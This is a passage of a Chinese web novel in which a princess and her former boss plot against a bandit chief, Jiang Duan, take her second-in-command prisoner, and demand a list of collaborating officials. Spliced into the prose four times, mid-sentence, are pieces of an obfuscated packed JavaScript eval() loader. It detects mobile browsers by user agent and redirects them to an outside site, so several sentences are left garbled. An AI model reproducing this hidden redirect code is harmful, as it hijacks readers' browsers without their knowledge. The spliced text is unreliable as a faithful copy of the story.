“如果是探子,在摸清敌方的一切后,便可以通风报信了,可他没有任何行为,反而只是回去好好睡了一觉,除此之外,再也没有任何行动。” 言昭离说出自己的猜测:“或许,他并不是什么探子,而是受害者。” “他身上的伤,不是为了引起我们的注意而故意为之,而是他逃跑出来受的,了解军中事情,也许是为了看我们是否有实力灭了匪寇。” “我有预感,他一定知道着什么,说不定会对我们剿匪有重大帮助。” 祁逾白补充一句:“他如此犹豫,显然是在顾虑什么。” “出了内鬼,且其身份只有可能是在江南任职的官员。” 匪寇平均半月出来活动一次,可言昭离到来后,匪寇再也没了任何动静,显然是有人通风报信。 言昭离分析过江段的行为,她虽谨慎聪敏,可骨子里的狂妄自大,傲然凌世是掩盖不住的,得益于背后的人提提醒颇多,否则到不了今天的地步。 话说到此,言昭离和祁逾白的脑海里同时浮现出一个身影。 “章太守。” 章太守无疑是聪明的,可前面发生的几件事,试图挑起言昭离和广安王之间的矛盾,激发言昭离对广安王的杀意,种种事件,都显示出她的不正常。 “据传,章太守是皇贵俞的远方表亲,要是有这层关系在的话,那就不排除皇贵俞就是江段身后最大的靠山。” “要报复皇贵俞,就先从章太守开始。”言昭离可没忘来江南这一路惊心动魄的刺杀。 江段弑杀成性,残害百姓,皇贵俞纵容这样的人,本性也不是个好的。 “打算怎么做?” “先除了皇贵俞的爪牙。” 祁逾白赞赏的点头:“不错。”目标明确,方向正确。 言昭离惊奇的瞥了一眼祁逾白,要命啊,怎么感觉老板最近夸奖她的次数变多了呢? 平常在工作上,都恨不得骂她十次,连交给他的文件夹封面颜色不正确,都能被挑刺。 “又吐槽我呢?”祁逾白像是有读心术一样,一眼看出言昭离的心中所想。 “没有没有。”言昭离连连摇头,急忙给祁逾白倒了一杯茶,“我怎么可能在心里吐槽老板呢?” 祁逾白面色平静,淡淡品了一口茶,不知道是不是茶太烫手,他‘嘶’了一声。 声音不大不小,刚好被言昭离听见。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567750|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >言昭离心里咯噔一下,完了,茶太烫,把老板烫着了。 不知道是不是太安逸了,她好像忘了,老板只喝八分烫的茶。 言昭离面上愧疚:“对不起,老板,是不是茶太烫了。” “不是,茶的水温刚好,只是……” 祁逾白没再说话,食指轻轻动弹了一下。 言昭离顺着他的视线撇过去,发现他的食指上有一个细长口子,还在冒着血珠。 言昭离忙喊翠鸣拿药,她要给祁逾白包扎。 “这是怎么回事?” 祁逾白身边的金时开口:“大皇女,小郎这是下厨所致。” “下厨?!” 言昭离将脑海里浮现的词与祁逾白搭配,发现怎么看都不搭。 老板还会下厨呢?而且味道还不错,言昭离甚是觉得,祁逾白做的饭,比宫里的御厨还好吃。 “是,无名这几日送的饭菜,都是小郎亲手做的,连大皇女钟爱的那道虾,都是小郎亲手处理虾皮,剔除虾线,这些事情,小郎从来不要别人插手……” 祁逾白沉声打断:“不要再说了,金时,这都是我应该做的。” 言昭离面上一片感动,亲自给祁逾白的手指上药,在伤口出撒上了一层又一层的药膏,为了加快吸收,言昭离还轻轻吹了几下,最后缠布。 明明只是受伤了一个手指,可言昭离快把祁逾白整个手都快缠上了。 再慢点,祁小郎手上指上的伤都快要愈合了,再说,军营中的人受的伤可比这远远严重许多。 旁边的翠鸣在心里默默吐槽。 可关心则乱的某人不会意识到,她只是认为,祁逾白这么矜贵的一个人,就应该什么伤都不要受。 第二日,言昭离特地没去军营,在书房陪祁逾白一起作画。 金时递给祁逾白一封书信:“小郎,这是原小郎送过来的书信。” 原小郎是江南一个官员的妾室,在一次宴会上,见了祁逾白,追着他问如何讨得妻主的欢心。 祁逾白被他吵烦了,就随手给了他一个点。 那就是,想要抓住一个女人的心,首先要抓住她的胃。 言昭离好奇的凑上来:“老板,信上写了什么?” 祁逾白把信拿给她看:“没写什么。” 都是一些无意识的社交话语,什么上次小郎交给他抓住妻主的诀窍,现在他运用自如,妻主也对他越来越好。 他又用了一大段夸祁逾白的绝世容颜,勾人的手段…… 最后,多谢小郎的倾囊相助,能否再告知一些? 祁逾白见言昭离看得认真,面色一变,不由自主的想到一个可能,言昭离不会因为这封信,自圆其说,解释他下厨的事情。 那他做了这么多,全是白费功夫,结果又回到了原处? 言昭离最近感觉自己的老板态度怪怪的,有些殷勤过度,还为她做饭,伤了手。 现在看过这封信后,一切都有了解释,老板是为了圆宴会上出的主意,毕竟现在的言昭离和祁逾白,正是风口浪尖的人物。 一举一动都能传出去。 过不了几日,祁小郎为大皇女下厨,还伤了手,把大皇女心疼的心脏都在抽搐的传言会传遍街市间。 19. 第 19 章 无名睡了一觉,只感觉自己好久没有这么睡过这么一觉了,什么都不用去想,只需要安安稳稳的睡上一觉。 他醒来后,沐浴更衣,又坐在镜子前绞面,绞面在这个世界是男子一种美容技法,为了让自己脸的状态更加好。 这还他许久未做的动作,熟悉的动作里透着些生疏。 一下一下的,刺的脸有些疼。 镜中的人的面容很是清秀,像是山间的一层雾,轻轻濛濛的,只可惜左脸生出的疤生生加了几份可怖感。 他看了一会,将抽屉里的面纱取出来带上。 等一切都收拾好后,去见大皇女。 他来的时间不是很晚,言昭离还待在书房,更准确的说,是一直在等待着他的到来。 “奴参见大皇女。”他一身青绿色衣袍,身形清瘦,显得衣袍空荡荡的,接着从容的跪下,右腿跪下的动作略显僵硬。 “找我何事。”言昭离动作未变。 他扫了一眼旁边端坐的祁逾白:“奴有事需要单独向大皇女禀报,事关剿匪。” “我先下去。”祁逾白起身告辞。 “说吧,你有什么要告诉我的?” “奴原名叫江温州,母亲是江家村的教书先生,匪寇头目江段,是我们村最有天赋的学子,可落榜后成了匪寇,为了不让人知道她的过往,派人把江家村灭了,我在那场灾难中被清风寨二当家高任元瞧上,被掳走了。” “我誓死不从,想发设发逃了好几次,可每一次都被抓了回来,最有机会逃脱的一次,是我找了当地的县丞求助,可第二日,我又被送回了清风寨,打断了右腿,这才得知当地的官员早已跟匪寇有勾当,匪寇抢来的钱财一半是归于当地的官员,就这样,官护匪,匪抢民。” 他深吸一口气:“清风寨地形复杂,易守难攻,再加上她们有心隐藏,势必会不好找,奴恰巧知道清风寨的地形,也知道她们有多少兵力,更重要的是,奴知道江段的书房里,藏着一份名单,是所有与她们有勾结官员的名单。” “奴全部告诉大皇女,恳请大皇女替奴的家人,江家村的所有人,讨一个公道。” 他说完,双眼紧闭,心头上紧压的情绪像是全部都消散了。 在那份解脱的情绪里,还隐藏着一份恐惧。 恐惧大皇女要是没有他所认为的正义,没有他所认为的大义,她选择护着那些官员,护着那些匪寇,那明天迎接他的,会是什么?还是清风寨那密不透风的小房子吗? 上次逃跑打断了一条腿,那这次被抓回去,又会被打断哪条腿?哪只手? 不,不,他不会再让自己落到重复的下场。 他攥紧手里的玻璃碎片,这是刚才来之前打碎茶盏拿的,一旦大皇女是非不分,他就会立刻用尖刃划破自己的喉咙,让鲜血铺满整座殿堂。 这辈子不能报仇,那就化作厉鬼,永久纠缠。 “本皇女答应你。”言昭离如玉的声音响起,在无名的心中掀起一片又一片的涟漪。 “你先下去处理伤口。” 他恍然,这才发现刚才陷入情绪太深,手上的碎片早已划破手心。 “是,奴谨遵大皇女命。” 在身形即将消散在门口时,言昭离叫住他:“你叫无名,还是江温州。” “奴叫无名。” 江温州这个名字,只会属于过去,而现在,他只需要记住,自己是被大皇女救回来的无名。 过去终将会被埋葬。 无名踏出书房,外面的暖阳照在身上,也照进了他的心里,从来没有觉得暖阳能如此温暖。 “跟我们猜想的一样,不过,让我没想到的是,他知道的更多。”言昭离低头写着书信。 她打断给广安王写信,提前告知对方她的下一步打算。 有些事情,需要放手去做,也需要有人兜底,广安王就是一个很好的人选。 祁逾白在旁边研磨:“也算意外之喜。” “打算什么时候出兵?” “越快越好,这些匪寇,残害百姓,又有官相护,日子过得太过平坦,且士兵训练得太久,始终没有一场真正的战争,她们心底的气会越来越小。” 言昭离搁下毛笔:“画的饼,总算到了实现的时候。” “我给你画过饼吗?” 祁逾白冷不丁问了一句,言昭离一时没反应过来:“什么?” “我画过饼吗?” “没有吧。”言昭离这句话说得底气略显不足。对上祁逾白似笑非笑的眼眸,她败下阵来:“好吧,是有的,不过哪个老板不给员工画饼,画了饼,这样才能激发员工的斗志。” “老板,你跟其他老板不同的是,你不是空画饼,你是很有规模的画饼,画的饼最后都能实现的那种。” “不然我也不会死心塌地的跟了你那么久。” 死、心、塌、地?” 在祁逾白重复四个字时,言昭离突然想起了一件往事。 在祁逾白身边工作了一段时间,可工作压力依然很大,她是考虑过换工作的。 但又不能裸辞,不然一下没了经济来源,得喝西北风,且又不能保证下一份工作能比这份更好。 只好做两手准备。 提前在某直聘软件上看好想要跳槽的职业,再货比三家,选择一个合适的时间去面试。 面试的那天天气晴朗,万里无云。 还未开始面试,言昭离的左眼皮子就一直在跳,俗话说左眼跳灾,右眼跳财。 左眼跳了,那是封建迷信,右眼跳了,那就是要发财了。 双标版封建迷信不可信。 秉持着不可信的理念,言昭离进了电梯,一路上都在背自我介绍。 ‘滴——’电梯门开,言昭离猝不及防的跟祁逾白对上了视线。 “老板?你怎么在这。” 言昭离使劲把手里的简历藏在身后,不敢让它漏出来一角。 “我来见朋友,不过言秘书,最让我好奇的是,你怎么在这?我记得,最近跟和昭集团并没有什么合作的往来。” “是没有,那个,那个,我也是来见朋友的。”言昭离胡诌。 祁逾白没说什么,只是点头。 “让让,我有急事。”两人说话的地方是在电梯的斜对面,冲过来的人似乎真的有急事,行事匆忙,不小心撞到了言昭离的半边身子,把她撞得一个趔趄。 “抱歉。”他急匆匆的丢下一句就上了电梯。 言昭离下意识的去揉被撞到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567751|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方,那人身形庞大,撞过来的冲击力自然不小。 她揉着揉着,突然意识到了不对劲。 被撞的是右边的肩膀,左手正在揉,那她左手拿的简历去哪里了? “你在找这个吗?”祁逾白递到她面前,言昭离一看,熟悉的封面,熟悉的介绍,这不就是她的简历吗? 她两眼一黑,恨不得原地消失在地球上,还有什么能比上司看到你要跳槽另一家准备的简历更尴尬的事。 她瞥了一眼祁逾白,见他面色平静,没有任何反应。 虽然简历是外壳是透明的,但他可能近视,也可能根本没注意,所以老板肯定没看到,言昭离在心中自欺欺人。 距离面试的时间马上就到了,言昭离委婉告退:“老板,我还有事,就先走了。” “等等。” 言昭离僵硬着笑容:“怎么了?老板。” “就是很想知道言秘书为什么要跳槽?是公司待遇不好吗?” “嗯……”言昭离一时语塞,她能说祁氏集团的待遇不好吗?不能,在她看来,祁氏集团的员工待遇已经算是那么多家企业中最优的了。 但在一家公司工作,不能光看待遇,还有种种考虑因素。 “没有没有,只是想换个工作环境。” “是换个工作环境还是承受不住压力,如果是承受不住压力,那换个环境,还是一样的结果。” 祁逾白的嘴还是一样的毒,有时候让言昭离都忍不住怀疑,他自己舔一下嘴唇,会不会把自己毒死了。 记忆里的人逐渐与眼前人重合。 言昭离替自己辩解:“那是意外,意外,我后面还是挺死心塌地的。” 当时为了赌一口气,舍弃掉已经看好的下一份工作,又跟了祁逾白好几年,从总裁办的边缘做到核心位置。 祁逾白的声音中透着笑意:“嗯,这个我可以作证。” 不再跟祁逾白讨论死心塌地的事情,言昭离在心里纳闷,这男人上了年纪,是不是越来越记仇,怎么陈芝麻烂谷子的事都拿出来提。 她总共也没在祁逾白面前失过几次脸面,都被他知道的一清二楚。 言昭离不知道的是,一旦人心中有了喜欢的人,那人的身影会渐渐清晰起来,包括她所做的事情。 * 这边的广安王收到书信,内心却是大大的震惊和喜悦。 旁边的宣将军不解:“王爷,这封信到底是写了什么,您都来来回回看了三四遍了。” 广安王把信一把拍桌子上:“好,太好了,这份信来得太好了。” “本王的这个侄女可了不得,不仅兵练好了,连这匪寇的底细都摸清楚了,这是老天都在偏爱啊,天生的帝王之相。” 宣将军恨不得一把捂住她的嘴:“王爷啊,这可不兴说,陛下如今身体康朗,这日子还有很长呢。” “本王知道,”广安王瞪了她一眼,“不能往外说,那也挡不住本王很看好她。” “去告诉大皇女,她只管放心的去做,本王给她兜底,另外,传本王的命令,调一千精锐给大皇女。” 广安王是地方的最高权者,且有时候需要外出打仗,是有一定的调兵权,她调出一千精锐,也算在明面上站队言昭离。 20. 第 20 章 “二当家,咱们真要这么打道回府,已经找了那么久,眼看马上就要找到了。” 高任元坐在马背上,她身形魁梧,脸上满是风吹日晒的痕迹。 清风寨有三个当家的,为首的是江段,只会在抢夺朝廷物资的时候出面,二当家高任元,平常出去抢夺商队的物品和向百姓收取保护费,三当家卫兰彭主要是负责后勤工作。 “闭嘴。”虽是警告的话语,可她说时却没有任何警告之意。 手底下的人向来张狂:“二当家,我说的都是实话,要不是三当家看管不力,那男人不会跑了的。” “不是老三。” 她与老三的关系虽好,但始终比不上老三与江段的关系,毕竟当初老三是江段救下的。 没人比高任元更加了解江段狭隘的心理,从小身为神童的她,肩负太多期望,一次科举未考中,为了不面对乡亲失望的眼神和日后的流言蜚语,在背后人的协助下,成为江南最大的匪寇,一把火埋葬了她的过去。 江温州是江家村人,也是那场大火唯一的幸存者,江段不可能不想杀他,只是碍于她的面子。 她这次的任务是将货物送到交易点,不知道怎么的,上面设的交易点很远,要去的话少说也得一个月以上,时间太长,她怕生变故,临行前,特地将江温州托付给卫兰彭,可卫兰彭对江段言听计从的,最后的结果是江温州丢了。 高任元眼神眺望远方,心里埋下了一颗怀疑的种子。 她性格霸道,将江温州视为自己的私有物,如今私有物被旁人动了,心里免不了生出一场怨言。 * “大皇女,这是?”军中的将领问道,她们共同围在一起看桌上的地图。 “这是清风寨的地形。” 有人惊喜出声:“当真?” “不会有假。” “太好了,江段此人,如同阴沟里的老鼠,让人恨得牙痒痒,这下,总算能把她的老巢掀出来了。” “这还真是想瞌睡就有人送来了枕头。” “大皇女认为,什么时候发兵最为合适。” “今天。” 问话的人一脸犹豫:“这是不是太快了些?为何不再做点准备。” “现在发兵,时机最好。”江南官员都有奸细,谁敢保证军中不会有,现在发兵,传信的来不及传,那才真叫一个措手不及呢? “江段只有两千多人,皇姑父给我一千的精兵,三千精锐,何愁拿不下江段。” 言昭离的面上带了一股威严:“要是拿不下江段,你们也就不用在军中任职了。” “大皇女说的是。” 言昭离手指向地图的一片空地:“前几日有人来报清风寨二当家的位置,算算时日,应该到这了,就从她开始吧。” 军中士兵再次被召集起来,所有人不明所以的站在原地,今天不是比试日,召集起来是为何事? 站在前方,是那些将领,她们面色凝重,似乎发生了什么大事。 军帐掀开,言昭离身穿银白色盔甲,手握长剑,剑柄绑了红缨带,一般是亲人绑的,寓意平安和健康,就这样暴露在了众人的面前。 是出征的信号。 “这是什么意思,是我想的那样吗?” “肯定是的,大皇女这装扮,是要带我们去剿匪。” 太好了,总算可以去立功了,老子这次一定要立个大功。” 王麦激动的摇江小春的胳膊:“小春,我们总算可以去剿匪了。” “杀了江段,你的仇就报了。” 向来活泼的江小春却像是失语了一样,她目光湿润,满脑子都是报仇。 有人激动,有人兴奋,但却又一个不起眼的人,满脸慌张,大皇女怎么突然就出兵了,怎么会那么快,她还没来得及传消息。 言昭离的声音传遍全场:“各位将士,你们努力的结果终于到了检验的时候,现在跟我一起,杀了江段,灭光匪寇。” 她们挥舞着手上的兵器,齐声呐喊: “杀了江段,灭光匪寇。” “杀了江段,灭光匪寇。” “杀了江段,灭光匪寇。” 声音在场上久久不息,她们心中澎湃,热血翻涌。 “出发!” * 高任元一行人赶路累了,在一片树林里停歇。 “大当家会不会过于谨慎了些?” “是啊,朝廷派人来灭咱这么多次,不都以失败告终,那些大官,走的时候,一个个都灰头土脸的。” “是啊,听说这次派来的还是一个皇女。” “管她来的是天皇老子还是什么皇女,只要她来,咱们就让她屁滚尿流的回去。” 一道声音插了进来:“你们怎么打算让大皇女屁滚尿流的回去?” 声音陌生,但讨论的两人一点都没察觉到不对劲,她们系上裤腰带,随意回道:“废话,当然是打回去。” “朝中的人一向废物,那皇女,必然也是废物中的废物,说不定不用等到开打,那大皇女就夹着尾巴回去了。” “哦,是吗?” “我看屁滚尿流回去的应该是你们吧。” “你说什么?”讨论的两人互相仇视,“你刚才说什么呢?” “我说了什么?我也没说啊。” “我也没说。” “那是?” 两人齐齐转头,看到身后的江小春和王麦,跟见了鬼一样,还未尖叫出声,嘴巴就被捂住了。 接着,脖颈处就被抵上了一把匕首。 “不想死的话就别出声。” 谁也不想死,两人乖巧的点头,抵在脖子上的匕首仍未离开。 “我问你,你们这一行人有多少。” “四五十个人。” “现在在哪个方位?” 一人颤抖着手,指向斜右方的位置:“就在前面那处树林里。” “你们这一趟出去是干什么的?” “运送货物。” “好了,回答的不错。” 两人松了一口气,以为这样就能逃脱了。 下一秒,被抹了脖子。 倒下的那一秒,听见江小春笑嘻嘻说道:“我还没说完,不想死就别出声的下一句,是想死就出声哦。” “走吧,大皇女还等着咱们回去复命。” 回到军队驻扎的位置,两人简单言明了情况。 “既如此,那就去吧,将人活捉回来。” “是。” ‘嘎嘎嘎——’一群乌鸦从天空飞过。 靠坐在树底下的高任元,眉心横跳,一股浓烈的不安在眼里散开。 “出去的那两人呢?” “说是去方便了。” “怎么那么晚还没回来?” “那两人一向懒惰,可能又跑哪去偷懒去了。” “去派人找回来。” “怎么了,二当家,可是发生了什么事?” 没有征兆的事,高任元向来不会说,她只是揉着眉心:“没事,只是提前上路。” “是,二当——”她的话还未说完,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567752|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被一剑穿喉。 鲜血喷涌,飞溅到高任元的脸上,有些甚至进到了眼睛。 “有敌袭,保护二当家。” “何人胆敢偷袭?” “可知道我们是谁?” “我们可是清风寨的,劝你识相点,赶紧走。” “杀的就是你们。” 一群人马从前方树林中走了出来,高任元在一片猩红的画面中,清晰的看到了马上的印记。 马鞍的最下方,有一个图案,两柄剑相叉,寓意着言国所向披靡,势不可挡。 那是朝廷的标识,这些人是朝中的士兵。 对方来了七八十人,人数上远超她们,就算实力一般,打起来也是两败俱伤。 高任元不会做赔本的买卖,她能稳坐清风寨二当家的位置,自然也是有几分实力的。 就算性子再狂妄,此刻也得压着脾气,她笑道:“原是唐校尉,可是我们碍了路,要不我们这就把路让出来。” 此次任务派来的是唐校尉,之前几次剿匪,她也参与过,虽然最后都以失败告终,但也算是跟清风寨的人打过交道。 “自然不是。” “那是?”她握紧腰侧的剑,心里已经有了个答案。 “来取你们的狗命的。” 话音刚落,她们率先出手,高任元的手底下的人持剑迎了上去。 场面一时混乱,高任元被手底下护在中间,她高喊:“唐校尉,你是知道你的兵都什么样的,这样打下去,你必输无疑。” “我知道你因为前面几次失败而心生怒气,可就这样把这群士兵的性命送过来,实在不是明智之举。” 唐校尉坐在马背上屹立不动:“不知道你听说过一句话没有,士别三日当刮目相待。” “什……什么?” “哦,抱歉,忘了,你不识字。”虽是道歉,可一点歉意都没有。 这句话简直在高任元的雷区蹦跶,她虽然不识字,可她喜欢装成文化人,也喜欢读书人。 她没激怒对方,反而被对方激怒。 “杀了她们。”尽管唐校尉的人数多又如何,实力不行,而她的手底下,可都是能以一敌二的能人。 她冲出保护圈,直奔唐校尉,唐校尉的面色未变,她在即将到唐校尉的面前时,王麦冲了出来。 接过她击来的一剑,用的是言昭离当时化解江小春的一招,当时看过后,她很喜欢,私底下偷偷琢磨,后来大皇女见到她偷练的场景了,还指导了她,现在总算派上了用场。 高任元脸上的神色跟当时的江小春如出一辙,满脸不可置信。 到底是经验丰富,她迅速反应过来,又持剑砍去,两人过了十几招,王麦一开始还能招架住,可她毕竟才练了几年,自然比不过高任元。 不过,拖延着时间也够了。 “住手。”唐校尉出声,“你已经败了。” 高任元往身后看去,她的人死的死,伤的伤,唯一几个好好的脖子上也被人用剑抵住,就算放弃她们的性命,她也不可能冲出那么多人逃跑。 “现在知道什么叫士别三日当刮目相待了吗?” 唐校尉笑眯眯的,心里只记得痛快,之前可没少在高任元的手里吃亏,现在终于讨了回来。 高任元手里的剑逐渐脱落,她不得不面对一个她不愿承认的事实,她败了。 手脚被绑上的时候,她的内心毫无畏惧,不会有事的,她还有用,段姐会来救她。 哪怕平日心里再多怨言,此刻,她都不得不把希望寄托在江段身上。 21. 第 21 章 “大皇女,高任元已经活捉了,如今就在隔壁帐中关押着。” 唐校尉带来的这个消息,另在场人都为之兴奋起来。 “大皇女,高任元此人阴险狡猾,残害百姓无数,臣建议直接就地斩杀,以鼓舞士气。” “不可,高任元是清风寨的二当家,不可就这样杀了。” 第一个建议的人怒骂:“你糊涂了不成,这样的祸害,不杀还留着干什么?” “我看你才是糊涂了,你个莽夫,我是建议利用她进入清风寨。” “清风寨的地形易守难攻,想要进去,至少得费五成的兵力,利用高任元,我们可以轻而易举的攻入清风寨,擒拿江段。” 其他几人皆陷入了沉默,显然是在思考这个计划的可行性。 言昭离否决:“这计划不可行。” “高任元此人,具有不可控因素,如果前脚答应乖乖听话,后脚就出卖,那危险的还是陪同的人。” “且就算把高任元弄晕,她手底下的人也不好操纵,控制一人容易,但多人……” 进入敌人内部,怎么可能像电视剧一样展现的那么容易,绑了一个内部人员,威胁他就能进去,要是在现代,扫脸开门还有可执行的可能。 这是现实,不是电视剧,言昭离也从来没有轻视过古人的智慧。 她话点到为止,其他人也瞬间明白她的意思,她们对于清风寨知道的还是太少,不了解清风寨是否有什么危险信号,也不知道清风寨内部的运行情况,万一开门需要什么口令,那不就暴露了吗? “这也不行,那也不行,那这怎么办。” 所有人的目光看向言昭离,她沉思片刻后出声:“直接与江段做交易,看看这个清风寨的二当家是否那么重要。” 交易什么?所有人的目光带了些疑惑,是用高任元换取清风寨敞开大门呢?还是用高任元换取江段? 有脑子的人都知道选什么,一个高任元,抵不上清风寨人全部的性命,也抵不上一个江段。 很快,言昭离为她们解惑:“江段手中有一份与她们做过交易的朝中人员名单。” “用高任元,来换取这份名单。” * “哎,该到你守了。” “知道了。” “不过,二当家什么时候回来,算算日子,应该也快了。” “今天没回来,明天也快了。” 那人提醒:“别忘了暗号,这可是大当家亲口嘱咐的。” “知道知道,口号必须是二当家亲口说出,要是二当家昏迷,就只放二当家一人进来,其余人一律关在门外,哪怕是认识的也不行。” “这东西,我天天听,耳朵都快生出茧子来了。” “知道就好。” 那人放心的走下城楼,才刚下一节台阶,外面有人喊道:“楼上的人听着,你们二当家在我手里,要想她活命,把你们大当家叫过来。” 下楼的人急匆匆的上前,发现城楼地下,站着乌泱泱一群人,粗略着得有两千五百人,一旁的旗帜随风飘扬,上面的两柄长剑蹭蹭发亮,在最中间,有一辆囚车。 囚车上方出来个人头,下楼那人的视力极好,清楚的认出那是她们的二当家。 刚才接班的那人慌了神:“怎么办,是朝廷的人来了,她们是不是要攻打我们。” 下楼的人轻拍她的脑袋:“你慌啥?又不是第一次经历这种事情,有啥可慌的。” “咱们这个地方,只要不主动开门,别人就攻不上来,你想想,哪次朝廷来不都是灰头土脸的回去。” “可……可,是二当家被绑了啊。” “二当家不会没命吧。” “不会,有大当家在,一切都会无事。”她叮嘱,“你先在这看着,我去禀告大当家。” 下楼的人走的飞速,生怕晚了会发生什么意外。 江段得到消息就赶来了,她走至城楼边,沉声道:“听闻朝廷最近新派了一人来剿匪。” 她从人群中迅速捕捉到言昭离的身影:“对吗?大皇女。” 她的语气中,满是轻蔑,可没有人去指责她的不敬,江段是个匪寇头子,要她对大皇女尊敬,就像要一只狗学说话一样,根本是不可能的事情。 言昭离坐在马背上,一身银白色的盔甲在暖阳下熠熠生辉:“好眼力。” “大皇女来是为了?” “与你做个交易?” 江段眯了眯眸子,只觉得言昭离身上的盔甲耀眼的刺眼:“什么交易?” “用高任元换一个名单。” 言昭离怕江段揣着明白装糊涂,她特指:“你书房里的名单。” 江段听后,在心里狂骂高任元,嘴上没个把门的,她书房里有份名单,这件事只有她和高任元知道。 而大皇女能知道,无非是从江温州那里知道的,她知道江温州在大皇女身边,这是章太守告知她的。可她没料到江温州会知道这事,而他,也只可能是从高任元那知道的。 她无数次强调江温州此人会坏事,可高任元就是不听,还与她有了隔阂。 她沉默着,内心实在不想交出名单,这分名单,事关背后的人,一旦交出,背后的人要是震怒…… 可身后那么多双眼睛看着她,她们不知道这份名单代表着什么,在她们心中,肯定是救高任元更重要。 江湖中最讲究意气,一旦江段舍弃她金兰结义的姐妹,势必会收到无数失望的眼睛。 她怕让人失望,也怕不能服众。 气氛僵持着,所有人都在等着江段的答案,卫兰彭姗姗来迟:“段姐,你在犹豫什么?我们要救二姐。” “救二姐,对吗?” 江段握住她微凉的手,看着她诚恳的眼睛,说不出拒绝的话,老三负责的事务简单,不知道名单的事,且她一向信任自己,要是对她失望…… “江段,做好决定了吗?” 江段深吸一口气,笑道:“大皇女未免太过于霸道了些,要做交易,怎么都不跟我商量商量交易的内容。” “你有的选吗?筹码不在你手里。” 江段答非所问:“我听闻大皇女武功了得,不知道我今日是否有幸,跟大皇女切磋一场。” “一场定输赢,我胜,把高任元交给我,你胜,明日辰时,我无条件把名单交给你。” 言昭离还未出声,地下的一众人劝道:“不可啊,大皇女,您身子金贵,怎么能与这匪寇比试。” “江段此人天生怪力,能平地拔起一棵参天大树,也能一拳打爆人的头,千万不能答应。” “据说江段从无败绩,这场战斗,打起来太悬乎了。” “还请大皇女慎重考虑。” “还请大皇女慎重考虑。” 到后面,几乎所有人都在附和,虽然言昭离也展现过她武力高强,可这场比试的对手是江段,她们几乎不敢相信言昭离能赢。 言昭离仰头,与城楼上的江段对上视线,对方眼里的挑衅溢了出来,无声的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567753|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口:你敢吗? 她勾唇一笑:“有何不敢,我应。” 两人站在一片空旷地,彼此的身后,是上千双注视的眼睛,这场比试,无论如何都得赢,这是两人共同的认知。 “大皇女,你先请。” “一个匪寇,还需要如此礼让吗?” 江段握紧铁锤的手柄,这种讥讽的语气,是她最讨厌的,她是可以不当匪寇的,她是有机会做人上人的。 都是这群道貌岸然的上层人,都是这群锦衣玉食的贵族,她们掌握着大多数人的生杀大权,却行不义之事。 如此看不起底层人,那就不要吸百姓的血,也不配活在这个世上。 她的眼里带了恨意,手上的力道也发挥到极致:“吃我一锤。” 铁锤夹杂着呼啸的风声一同传进言昭离的耳里,她持剑抵挡,所有人几乎下意识的闭上了眼睛。 虽然是一样的场景,可江段比江小春的力气更大,铁锤的重量也更重,江段的铁锤,至少有上千斤重,体积也比江小春的大上了几倍,这样一锤下来,命有没有都不好说。 江小春睁大双眼,不敢错过一分一毫,江段曾用过这一锤,将她的父母击倒在地,气绝而亡。 大皇女能应付的了吗?她会不会像爹娘一样,被击倒在地。 铁锤与剑相撞,火星迸射间,两人同时被震得踉跄后退。 “大皇女阻挡了下来,大皇女阻挡了下来。” “大皇女太厉害了。” “大皇女就是最厉害的。” 看到言昭离成功抵挡,江小春长舒了一口气,手心传来疼痛,她这才发觉,刚才太过于紧张,指甲都嵌进了掌心,正渗出几滴血珠。 而作为关注点的言昭离,远没有表面表现的那么轻松,她依然用的是道家的功法,不得不说,中国五千多年流传的文化,就是厉害。 但是,不可否认的是,江段的这一击,着实厉害,她半边手臂都震麻了,现在有点使不上劲。 见言昭离接下这一招,江段的神色虽有惊讶,但很快调整过来:“你以为我就这一招了吗?” 她又变换了招式,江段一直都知道,只有实力,才是她在这个世界的最大依靠,她不断学习新的招式,不断练习。 言昭离逐渐感觉到,江段变得越来越难缠,也越来越占据上方。 在第三次铁锤刮起的风从她耳畔划过,她想,不行,不能再这样下去,否则输的人迟早是她。 唯有一法,可以险胜。 